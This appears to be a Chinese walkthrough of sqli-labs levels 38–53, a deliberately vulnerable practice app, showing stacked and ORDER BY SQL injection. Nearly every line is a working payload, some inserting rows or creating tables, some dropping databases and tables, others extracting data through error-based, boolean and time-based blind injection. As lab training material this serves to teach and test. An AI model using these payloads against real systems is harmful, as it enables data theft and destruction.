sqli-labs项目地址:https://github.com/Audi-1/sqli-labs
正文(堆叠注入)
使用了一系列执行mysql多条语句查询的函数,导致存在堆叠注入
,但是因为源码中一般只返回预期结果,所以堆叠注入的结果回显或者报错就无法显示在前端页面,一般很难在黑盒测试的时候发现这种漏洞,但是堆叠注入的杀伤力比联合查询的杀伤力大多了,联合查询只能查询数据库中的内容,而堆叠注入可以使用任何mysql语句。比如增删改查之类的
使用堆叠注入向表中插入数据(假设已知库,表,字段名)
http://127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values(17,'test7','007')--+
数据插入成功,后面想干嘛直接操作即可,不赘述
和上一关相比,这一关只改了对参数的处理方式,直接插入,没有使用任何符号包裹,无需闭合,比如使用堆叠注入创建一个数据库
http://127.0.0.1/sqli-labs/Less-39/?id=1;create database You_are_hacked_by_m0c1nu7--+
这一关应该是index.php
,另外的几个文件和Less-24
是一样的有一个任意用户密码重置的漏洞就不赘述了,直接看index.php
和上一关区别是对id
的处理,直接闭合,payload如下:
http://127.0.0.1/sqli-labs/Less-40/index.php?id=18');drop database you_are_hacked_by_m0c1nu7--+
还是只有包裹参数的方法改变了,没有单引号双号括号之类的直接插入即可
http://127.0.0.1/sqli-labs/Less-41/index.php?id=1;insert into emails(id,email_id) values(9,'[email protected]')--+
还是和Less-24
一样的存在一个任意用户密码重置的漏洞,但是这一关我们看的是login.php
的堆叠注入
在login_pasword
处存在堆叠注入
login_user=admin&login_password=1';create table hacked_by_m0c1nu7 like users#
login_user=admin&login_password=1');drop table hacked_by_m0c1nu7#
Less-44
和Less-43
相比就是没有报错信息
没有报错,看不出闭合方式只能fuzz测试了
login_user=admin&login_password=1';create table hacked_by_m0c1nu7 like users#
login_user=admin&login_password=1');drop table hacked_by_m0c1nu7#
注入点为order by 排序的注入
使用盲注或者报错注入都可
布尔型盲注可以使用rand()
,rand(true)
和rand(false)
的回显结果是不一样的
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
http://127.0.0.1/sqli-labs/Less-46/?sort=(select updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e))
http://127.0.0.1/sqli-labs/Less-47/?sort=1' and updatexml(0x7e,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),0x7e)--+
没有输出报错回显,盲注了或者如果有权限的话,尝试导入shell
http://127.0.0.1/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=178)
http://127.0.0.1/sqli-labs/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%2 0from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+
order by stacked injections
和前面的堆叠注入一样的手段
http://127.0.0.1/sqli-labs/Less-50/?sort=1;create table hacked_by_m0c1nu7 like users--+
和上一关一样的套路,这一关只是关闭了前台报错,对参数加了一个单引号
http://127.0.0.1/sqli-labs/Less-51/?sort=1';drop table hacked_by_m0c1nu7--+
http://127.0.0.1/sqli-labs/Less-52/?sort=1;create table hacked_by_m0c1nu7 like users--+
http://127.0.0.1/sqli-labs/Less-53/?sort=1';drop table hacked_by_m0c1nu7--+